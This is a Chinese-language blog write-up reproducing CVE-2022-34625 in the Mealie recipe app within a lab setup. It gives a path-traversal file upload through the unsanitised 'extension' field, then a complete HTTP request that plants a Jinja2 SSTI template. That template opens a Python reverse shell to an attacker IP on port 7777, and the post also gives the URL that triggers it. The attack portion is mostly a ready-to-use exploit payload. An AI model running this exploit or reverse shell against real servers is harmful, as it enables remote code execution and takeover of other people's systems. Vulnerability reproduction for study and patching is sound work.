CVE-2022-34625 mealie jinja2 SSTI注入

安装

官方指导:https://docs.mealie.io/documentation/getting-started/install/

docker search mealie
docker pull hkotel/mealie
docker run -p 9925:80 -v `pwd`:'/app/data/' -d hkotel/mealie:latest

记得-d使其在后台运行,否则主机命令行会一直被回显霸占,并且开不了新的终端
在这里插入图片描述
登陆时注意是http协议即可
在这里插入图片描述

透过其他本地虚机也可访问
在这里插入图片描述
最终由ubuntu担任服务器,kali担任攻击角色进行模拟

文件任意上传

mealie提供了文件上传的api,并且没有做检测

点击右下角的NEW
在这里插入图片描述
在上传食谱时,首先需要上传一张图,填写固定信息,使后台开出一个新的以食谱名为文件夹名的文件夹
在这里插入图片描述
在这里插入图片描述
编辑图片信息,左下角这里有一个上传asset,是直接以FILE做类,不做检查
在这里插入图片描述
简简单单验个包
在这里插入图片描述
这个函数出现的为name和extension参数,根据源码
https://github.com/hay-kot/mealie/blob/v1.0.0beta-3/mealie/routes/recipe/recipe_crud_routes.py
在这里插入图片描述
此处使用了slugify函数对name进行了处理,slugify函数主要作用为对敏感字符的过滤,但是没有对extension进行处理,因此直接对上传路径进行绕过


name填写为$
extension转换为./…/…/…/…/…/tmp/pwn
根据源码处理,会变为$…/…/…/…/…/…/tmp/pwn
在这里插入图片描述
在服务器上查询,确实上传成功
在这里插入图片描述
根据这一原理可以实现文件任意上传

模板注入

mealie支持jinja2,jinja2是个广泛使用的典型的MVC框架,并且有着最经典的SSTI注入漏洞,即在html页面中的{{变量}}如果是指向python类中的函数则会进行执行,故本案方法为写一个带有SSTI的html打到网站架构下的Templates下,并且使用mealie所提供的系统API进行调用,即可完成攻击
在这里插入图片描述

Payload:

POST /api/recipes/myrecipe/assets HTTP/1.1
Host: 192.168.92.162:9925
Content-Length: 528
Accept: application/json, text/plain, */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjaGFuZ2VtZUBlbWFpbC5jb20iLCJleHAiOjE2NjEzMzM4Njd9.ygnYbd00IITzRuirsNAVzCEoL7KYbhUGuYjMz5UmdZ0
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYi9znDeQteQu4H7C
Origin: http://192.168.92.162:9925
Referer: http://192.168.92.162:9925/recipe/myrecipe
Accept-Encoding: gzip, deflate
Connection: close

------WebKitFormBoundaryYi9znDeQteQu4H7C
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("192.168.92.128",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'').read()  }}
------WebKitFormBoundaryYi9znDeQteQu4H7C
Content-Disposition: form-data; name="extension"

./../../../../../../../app/data/templates/pwn.html
------WebKitFormBoundaryYi9znDeQteQu4H7C
Content-Disposition: form-data; name="name"

$
------WebKitFormBoundaryYi9znDeQteQu4H7C
Content-Disposition: form-data; name="icon"

mdi-file
------WebKitFormBoundaryYi9znDeQteQu4H7C--

http://192.168.92.162:9925/api/recipes/myrecipe/exports/?template_name=pwn.html
在这里插入图片描述

参考

https://0xbruno.netlify.app/posts/research/mealie/cve-2022-34625/
https://gainsec.com/2022/08/02/cve-2022-34625-ssti-rce-mealie/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值